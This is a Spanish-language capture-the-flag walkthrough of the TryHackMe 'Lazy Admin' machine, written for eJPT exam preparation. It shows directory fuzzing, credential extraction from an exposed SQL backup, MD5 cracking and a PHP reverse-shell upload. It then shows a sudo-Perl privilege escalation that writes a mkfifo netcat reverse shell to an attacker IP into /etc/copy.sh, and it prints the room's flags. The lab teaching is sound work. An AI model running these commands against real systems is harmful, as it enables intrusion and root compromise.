Resumen
Lazy Admin es la sexta máquina de la serie Road to eJPTv2 y la más elaborada hasta ahora en términos de cadena de ataque. No hay un vector único — hay que encadenar: fuzzing en dos capas para encontrar el CMS, extracción de credenciales desde un backup MySQL expuesto, crackeo de hash MD5, acceso al panel admin, subida de reverse shell, y una escalada de privilegios indirecta via sudo Perl que modifica un script intermedio.
| Atributo | Valor |
|---|---|
| Plataforma | TryHackMe |
| Dificultad | Fácil |
| OS | Linux |
| Sala | Lazy Admin |
| Skills | Web Enum, CMS Exploitation, Hash Cracking, File Upload, Sudo Privesc (Perl) |
🎥 Versión en video
Si prefieres seguir el walkthrough paso a paso, continúa leyendo. El video cubre el mismo proceso en formato visual.
Herramientas usadas
nmap— enumeración de puertos y serviciosgobuster— fuzzing de directorios en dos capaswget— descarga del backup MySQLjohn— crackeo del hash MD5netcat— listener para reverse shell
Resumen de la solución
- Nmap revela SSH (22) y HTTP (80) con Apache 2.4.18
- Gobuster descubre
/content/— SweetRice CMS versión 1.5.1 - Segundo fuzzing en
/content/descubre/content/inc/con backup MySQL expuesto - El backup contiene usuario
managery hash MD5:42f749ade7f9e195bf475f37a44cafcb - John crackea el hash →
Password123 - Acceso al panel admin de SweetRice en
/content/as/ - Subida de reverse shell PHP5 via Media Center → shell como
www-data sudo -lrevela quewww-datapuede ejecutar/usr/bin/perl /home/itguy/backup.plbackup.plejecuta/etc/copy.sh— modificamoscopy.shcon reverse shell mkfifo- Ejecutamos el script con sudo → root
Reconocimiento
Verificación de conectividad
ping -c 1 10.66.153.42
64 bytes from 10.66.153.42: icmp_seq=1 ttl=62 time=68.1 ms
TTL=62 → la máquina objetivo es Linux. Igual que en Bounty Hacker, el TTL de 62 indica uno o dos hops de red entre atacante y objetivo.
Escaneo de puertos con Nmap
Primer barrido a todos los puertos TCP:
nmap 10.66.153.42 -n -Pn -sS -p- --open --min-rate=5000 -oG allTCPports
PORT STATE SERVICE
22/tcp open ssh
80/tcp open http
Solo dos puertos. Todo el ataque pasa por la web.
Escaneo dirigido con versiones y scripts:
nmap 10.66.153.42 -n -Pn -sS -sCV -p22,80 --min-rate=5000 -oN escaneoLazy.txt
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.2p2 Ubuntu 4ubuntu2.8
80/tcp open http Apache httpd 2.4.18 (Ubuntu)
|_http-title: Apache2 Ubuntu Default Page: It works
Hallazgos clave:
- Puerto 80: Apache 2.4.18 mostrando la página por defecto de Ubuntu. Hay contenido oculto esperando ser descubierto con fuzzing.
- Puerto 22: SSH activo — posible vector si obtenemos credenciales válidas.
Enumeración web
Primera capa de fuzzing
gobuster dir -u http://10.66.153.42 \
-w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt \
-x php,html,txt,bak,xml
/index.html (Status: 200)
/content (Status: 301)
Hallazgo: directorio
/content/que contiene SweetRice CMS versión 1.5.1. Esto nos da un objetivo concreto: buscar vulnerabilidades conocidas en esa versión especÃfica.
Segunda capa de fuzzing en /content/
El primer fuzzing solo rascó la superficie. Hacemos fuzzing recursivo dentro de /content/:
gobuster dir -u http://10.66.153.42/content \
-w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt \
-x html,php,css,xml,bak
/index.php (Status: 200)
/images (Status: 301)
/js (Status: 301)
/inc (Status: 301)
/as (Status: 301)
/_themes (Status: 301)
/attachment (Status: 301)
Dos hallazgos crÃticos:
/content/as/→ panel de administración de SweetRice/content/inc/→ directorio con archivos internos del CMS expuestos
Exploración del directorio /inc/
Accedemos a http://10.66.153.42/content/inc/ y encontramos el directorio con indexado habilitado:

Dentro encontramos el subdirectorio mysql_backup/ con un backup completo de la base de datos. Un backup de base de datos expuesto en un servidor web es una vulnerabilidad crÃtica — puede contener credenciales, datos de usuarios y configuración del sistema.
wget http://10.66.153.42/content/inc/mysql_backup/mysql_bakup_20191129023059-1.5.1.sql
Extracción de credenciales del backup
Buscamos contraseñas dentro del archivo descargado:
cat mysql_bakup_20191129023059-1.5.1.sql | grep passwd
s:6:"passwd";s:32:"42f749ade7f9e195bf475f37a44cafcb"
Credenciales encontradas:
- Usuario:
manager- Hash MD5:
42f749ade7f9e195bf475f37a44cafcb
Crackeo del hash con John
Guardamos el hash en un archivo y lanzamos John con rockyou:
echo "42f749ade7f9e195bf475f37a44cafcb" > manager.hash
john --format=raw-md5 --wordlist=/usr/share/wordlists/rockyou.txt manager.hash
Password123 (?)
Credenciales completas:
manager:Password123
Explotación
Acceso al panel de administración
Con las credenciales crackeadas accedemos al panel de SweetRice:
http://10.66.153.42/content/as/

Las credenciales manager:Password123 funcionan. Obtenemos acceso completo al dashboard del CMS:

Reverse Shell via Media Center
SweetRice permite subir archivos desde la sección Media Center. Subimos una reverse shell PHP5 (.php5 o .phtml para bypass de posibles filtros).
Nos ponemos en escucha:
nc -nlvp 4545
Subimos la reverse shell desde Media Center y navegamos a la URL del archivo subido. Recibimos la conexión:
connect to [192.168.149.0] from (UNKNOWN) [10.66.153.42] 45420
uid=33(www-data) gid=33(www-data) groups=33(www-data)
Estabilización de la shell
Esta máquina tiene Python3 disponible — usamos el método completo de estabilización:
which python3
python3 -c 'import pty; pty.spawn("/bin/bash")'
# Ctrl + Z
stty raw -echo; fg
reset xterm
export TERM=xterm
export SHELL=bash
stty rows 40 cols 184
¿Por qué este método es mejor que solo
export SHELL=bash?pty.spawncrea un pseudo-terminal completo, lo que habilita autocompletado con Tab, historial de comandos, y permite usar editores comonanoovi. Es la estabilización más completa disponible sin herramientas adicionales.
Post-explotación
Enumeración de usuarios
cat /etc/passwd | grep bash
root:x:0:0:root:/root:/bin/bash
itguy:x:1000:1000:THM-Chal:/home/itguy:/bin/bash
Usuario del sistema: itguy.
Flag de usuario
cd /home/itguy
cat user.txt
Flag de usuario:
THM{63e5bce9271952aad1113b6f1ac28a07}
Archivos interesantes en el home de itguy
ls -l /home/itguy
-rw-r--r-x 1 root root 47 Nov 29 2019 backup.pl
-rw-rw-r-- 1 itguy itguy 16 Nov 29 2019 mysql_login.txt
Revisamos backup.pl:
cat backup.pl
#!/usr/bin/perl
system("sh", "/etc/copy.sh");
Hallazgo clave:
backup.ples un script Perl propiedad de root que ejecuta/etc/copy.sh. Si podemos ejecutarbackup.plcon sudo Y podemos modificarcopy.sh, tenemos escalada indirecta.
Enumeración de sudo
sudo -l
User www-data may run the following commands on THM-Chal:
(ALL) NOPASSWD: /usr/bin/perl /home/itguy/backup.pl
Plan de ataque confirmado:
www-datapuede ejecutarbackup.plcomo root.backup.plejecuta/etc/copy.sh. Si/etc/copy.shes escribible porwww-data, podemos inyectar una reverse shell ahà y ejecutarla como root viasudo perl backup.pl.
Verificamos permisos de /etc/copy.sh:
ls -l /etc/copy.sh
-rw-r--rwx 1 www-data www-data 81 Nov 29 2019 /etc/copy.sh
/etc/copy.sh tiene permisos rwx para otros — www-data puede escribir en él. La cadena está completa.
Escalada de privilegios
Cadena de escalada: sudo → Perl → Shell script
La escalada funciona en dos pasos:
- Modificar
/etc/copy.shpara que ejecute una reverse shell - Ejecutar
backup.plcon sudo — que llamará alcopy.shmodificado como root
Paso 1: Modificar /etc/copy.sh
Nos ponemos en escucha en una nueva terminal:
nc -nlvp 5555
Reemplazamos el contenido de copy.sh con un reverse shell mkfifo:
echo "rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.149.0 5555 >/tmp/f" > /etc/copy.sh
Paso 2: Ejecutar backup.pl con sudo
sudo /usr/bin/perl /home/itguy/backup.pl
En nuestra terminal de escucha recibimos la conexión como root:
# whoami
root
Flag de root
cd /root
cat root.txt
Flag de root:
THM{6637f41d0177b6f37cb20d775124699f}
Lecciones aprendidas
- El fuzzing en una sola capa puede no ser suficiente — El primer gobuster encontró
/content/. Sin el segundo fuzzing dentro de/content/, nunca habrÃamos encontrado/content/inc/con el backup MySQL. En aplicaciones complejas, siempre fuzzea recursivamente los directorios más interesantes. - Los backups de base de datos nunca deben estar en el webroot — Un archivo
.sqlaccesible públicamente puede contener credenciales, datos de usuarios y configuración crÃtica del sistema. En un pentest real, esto es un hallazgo crÃtico que se reporta inmediatamente. - La escalada indirecta requiere entender toda la cadena — Aquà no fue
sudo binario → shelldirectamente. Fuesudo perl → script perl → shell script → shell. Ver la cadena completa antes de ejecutar es fundamental para no perderse. - Los permisos de archivos intermedios importan tanto como los directos —
backup.plera de root e inmodificable. Perocopy.shtenÃa permisos para mundo (rwx). La seguridad de la cadena es tan fuerte como su eslabón más débil. pty.spawnvsexport SHELL=bash— Cuando Python3 está disponible, siempre usa la estabilización completa conpty.spawn. Te da una shell funcional con todos los controles de terminal. Sin esto, comandos comosudo -lpueden comportarse de forma errática.
Para la eJPT
Esta máquina ejercita habilidades directamente evaluadas en la eJPT:
- Enumeración web en múltiples capas con Gobuster
- Identificación y explotación de CMS con versiones vulnerables
- Extracción de credenciales desde archivos expuestos
- Crackeo de hashes MD5 con John the Ripper
- Subida de reverse shells via paneles de administración web
- Escalada de privilegios indirecta via sudo + scripts encadenados
- Análisis de permisos de archivos para identificar vectores de escritura
Tiempo aproximado de resolución: 45-60 minutos — la mayor parte del tiempo en el fuzzing en dos capas y entender la cadena de escalada.